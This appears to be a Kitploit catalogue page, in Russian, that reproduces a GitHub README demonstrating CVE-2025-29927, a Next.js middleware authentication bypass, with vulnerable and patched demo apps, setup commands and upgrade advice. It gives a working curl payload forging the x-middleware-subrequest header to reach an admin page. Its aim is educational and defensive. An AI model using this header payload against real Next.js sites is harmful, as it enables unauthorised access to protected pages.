Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-29927 — Демонстрация CVE-2025-29927: обход аутентификации middleware в Next.js через подделку заголовка x-middleware-subrequest. Включает примеры уязвимых и исправленных приложений для образовательных целей. | Kitploit
Инструменты/GitHubGitHub/dante01yoon/cve-2025-29927
Анализ уязвимостейЭксплуатация веб-приложенийВеб-безопасностьАутентификацияНеправильная КонфигурацияОбучение и Образование
GitHubdante01yoon/cve-2025-29927

CVE-2025-29927

Демонстрация CVE-2025-29927: обход аутентификации middleware в Next.js через подделку заголовка x-middleware-subrequest. Включает примеры уязвимых и исправленных приложений для образовательных целей.

Репозиторий
501 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Демонстрация уязвимости Next.js (CVE-2025-29927)

Этот репозиторий содержит демонстрацию уязвимости Next.js CVE-2025-29927, которая затрагивает версии Next.js 15.2.2 и более ранние. Уязвимость позволяет злоумышленникам обходить проверки аутентификации middleware, устанавливая заголовок x-middleware-subrequest.

Структура репозитория

Это NX монорепозиторий, содержащий два приложения Next.js:

  1. vulnerable-app: использует Next.js 15.2.2 с уязвимостью
  2. fixed-app: использует Next.js 15.2.3 с исправлением

Описание уязвимости

В версиях Next.js до 15.2.3 существует уязвимость безопасности в реализации middleware. Middleware не проверяет должным образом происхождение заголовка x-middleware-subrequest, что позволяет злоумышленникам подделать этот заголовок и обойти проверки аутентификации на основе middleware.

Как запустить демонстрацию

Предварительные требования

  • Node.js 18 или новее
  • npm или yarn
  • Docker (необязательно, для развертывания в контейнере)

Запуск уязвимого приложения

root@kitploit:~
# Navigate to the repository
cd nextjs-vulnerability

# Install dependencies for the vulnerable app
cd apps/vulnerable-app
npm install

# Start the vulnerable app
npm run dev

Уязвимое приложение будет доступно по адресу http://localhost:3000.

Запуск исправленного приложения

root@kitploit:~
# Navigate to the repository
cd nextjs-vulnerability

# Install dependencies for the fixed app
cd apps/fixed-app
npm install

# Start the fixed app
npm run dev

Исправленное приложение будет доступно по адресу http://localhost:3001.

Использование Docker

Вы также можете запустить приложения с помощью Docker:

root@kitploit:~
# For the vulnerable app
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable

# For the fixed app
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed

Демонстрация уязвимости

  1. Откройте уязвимое приложение (http://localhost:3000)
  2. Нажмите «Admin» в панели навигации
  3. Вы будете перенаправлены на страницу входа, так как вы не аутентифицированы
  4. Теперь попробуйте получить доступ к странице администратора напрямую, используя уязвимость:
root@kitploit:~
# Using curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin

# Or use a browser extension like ModHeader to add the header
# and then visit http://localhost:3000/admin

В уязвимой версии (15.2.2) вы сможете получить доступ к странице администратора без аутентификации, добавив заголовок x-middleware-subrequest.

В исправленной версии (15.2.3) middleware корректно проверяет происхождение этого заголовка, и вы по-прежнему будете перенаправлены на страницу входа.

Учетные данные для входа

Для демонстрационных целей вы можете войти с помощью:

  • Имя пользователя: admin
  • Пароль: password123

Рекомендации по безопасности

Если вы используете Next.js в продакшене, обязательно обновитесь до версии 15.2.3 или новее, чтобы защититься от этой уязвимости.

Скачать инструмент